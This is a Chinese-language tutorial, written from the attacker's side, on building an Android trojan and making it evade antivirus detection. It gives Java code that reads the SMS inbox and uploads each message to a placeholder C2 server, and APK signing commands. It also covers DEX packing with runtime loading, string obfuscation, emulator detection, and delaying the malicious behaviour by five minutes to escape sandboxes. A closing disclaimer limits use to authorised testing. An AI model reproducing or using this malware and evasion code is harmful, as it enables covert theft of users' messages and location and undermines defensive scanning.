一、理解移动端木马免杀的核心逻辑
移动端木马的免杀技术一直是高级威胁攻击者(APT)关注的焦点之一。随着安卓和iOS安全机制的不断升级,传统的恶意代码已难以躲避杀软的检测。为了实现免杀,攻击者需要从静态分析对抗和动态行为伪装两个维度入手,构造出具备强隐匿性的恶意载荷。
静态分析对抗主要针对杀毒软件的文件扫描技术,通过混淆代码、伪装签名等手段避免恶意特征暴露。而动态行为伪装则聚焦于木马运行时的表现,例如通过模拟合法应用行为,或延迟触发恶意功能来规避沙盒检测。
换句话说,免杀的关键在于「用尽可能少的恶意特征完成攻击目标」。接下来,我们将通过构建一个简单的安卓木马示例,逐步解析如何实现免杀。
---
二、构建恶意 APK:基础功能与结构剖析
在安卓端,木马通常以 APK 文件形式传播。我们首先需要了解 APK 的基本结构:它本质上是一个包含应用代码(DEX 文件)、资源文件和签名信息的 zip 压缩包。攻击者可以通过修改合法 APK,或自行开发恶意 APK 来实现植入。
2.1 构建基础木马的功能模块
以下是我们计划实现的木马基础功能:
- 窃取用户短信;
- 录音并上传到远程服务器;
- 获取设备的地理位置。
我们使用安卓开发中的标准工具(如 Android Studio)来编写一个具备上述功能的木马应用。以下是关键代码片段(以短信窃取为例):
<pre><code class="language-java">// 读取用户短信 private void readSMS() { Cursor cursor = getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, null); if (cursor != null) { while (cursor.moveToNext()) { // 读取短信内容 String body = cursor.getString(cursor.getColumnIndex("body")); // 上传短信到C2 sendToC2(body); } cursor.close(); } }
// 上传数据到远程服务器 private void sendToC2(String data) { try { URL url = new URL("http://[C2_SERVER_IP]/upload"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); OutputStream os = conn.getOutputStream(); os.write(data.getBytes()); os.flush(); os.close(); conn.getResponseCode(); } catch (Exception e) { e.printStackTrace(); } }</code></pre>
2.2 打包 APK 并签名
安卓系统要求所有 APK 都必须经过签名,否则无法安装。因此,我们需要生成一个签名密钥,并使用该密钥对 APK 进行签名:
<pre><code class="language-bash"># 生成签名密钥 keytool -genkey -v -keystore fake.keystore -keyalg RSA -keysize 2048 -validity 10000 -alias fakeAlias
签名 APK
jarsigner -verbose -keystore fake.keystore -signedjar output.apk malicious.apk fakeAlias</code></pre>
完成这一步后,我们的基础木马已经具备完整功能,但还无法有效绕过杀毒软件的检测。下面,我们将重点讲解免杀技巧。
---
三、动静结合:如何规避静态特征检测
静态特征检测是目前杀毒软件最常用的检测手段之一,其核心是通过扫描文件中的已知恶意特征(如代码片段、关键字符串)来定位恶意软件。为了规避这类检测,我们可以从以下几个方面入手。
3.1 加壳与压缩:混淆代码结构
加壳是传统的免杀手段之一,通过对 APK 文件进行加密压缩,使得其原始代码不可见。我们可以使用开源工具 DexProtector 或自己编写脚本实现加壳:
<pre><code class="language-python">import zipfile import base64
def encrypt_dex(file_path, output_path): with open(file_path, 'rb') as f: dex_data = f.read() encrypted_data = base64.b64encode(dex_data) # 简单加密处理 with open(output_path, 'wb') as f: f.write(encrypted_data)
使用示例
encrypt_dex('classes.dex', 'encrypted.dex')</code></pre>
同时,还需要在运行时解密并加载 DEX 文件。以下是相应的 Java 代码:
<pre><code class="language-java">// 解密并加载 dex private void loadEncryptedDex() { byte[] encryptedDex = readFromAssets("encrypted.dex"); byte[] decryptedDex = Base64.decode(encryptedDex, Base64.DEFAULT); DexClassLoader loader = new DexClassLoader(decryptedDex, getCacheDir().getPath(), null, getClassLoader()); try { Class<?> clazz = loader.loadClass("com.example.malicious.Main"); Method method = clazz.getMethod("start"); method.invoke(null); // 调用主函数 } catch (Exception e) { e.printStackTrace(); } }</code></pre>
3.2 字符串混淆与动态生成
杀毒软件往往通过扫描 APK 文件中的字符串来识别恶意行为,例如 IP 地址、API 关键字等。以下是字符串混淆的示例代码:
<pre><code class="language-python"># 混淆恶意字符串 def obfuscate_string(s): return ''.join([chr(ord(c) + 2) for c in s]) # 简单位移加密
解密示例
def deobfuscate_string(s): return ''.join([chr(ord(c) - 2) for c in s])
示例使用
target_ip = obfuscate_string("192.168.1.100") print("混淆后的字符串:", target_ip)</code></pre>
通过这种方式,恶意字符串在静态分析中无法直接暴露,同时在运行时可以动态解密使用。

---
四、动态沙盒检测对抗:伪装行为与延迟触发
动态沙盒检测主要通过模拟用户行为,观察应用的运行表现来判定其是否存在恶意行为。为了对抗沙盒,我们可以利用以下技术:
4.1 设备信息伪装
很多沙盒环境的设备特征是固定的,例如模拟器的硬件名称、MAC 地址等。我们可以通过检测这些特征来判断是否处于沙盒中,并伪装自己的行为。
以下是检查是否运行在模拟器中的代码示例:
<pre><code class="language-java">private boolean isEmulator() { String fingerprint = Build.FINGERPRINT; return fingerprint.contains("generic") || fingerprint.contains("sdk"); }</code></pre>
如果检测到沙盒环境,我们可以让木马表现为普通应用,避免触发恶意行为。
4.2 延迟触发恶意行为
沙盒环境通常只运行应用的前几分钟,因此可以通过延迟触发恶意功能来规避检测:
<pre><code class="language-java">new Handler().postDelayed(new Runnable() { @Override public void run() { // 恶意行为触发 readSMS(); } }, 300000); // 延迟 5 分钟</code></pre>
---
五、攻防对抗中的启示

从攻击者的角度看,免杀技术的核心在于持续研究杀毒软件的检测机制,并针对性地调整自己的策略。尽管本文介绍的技术可以在一定程度上绕过检测,但仍需警惕安全厂商的快速响应。因此,红队需要不断更新其武器库,保持技术领先性。

合法声明:本文所述技术仅供授权的安全测试和研究使用,切勿用于非法目的。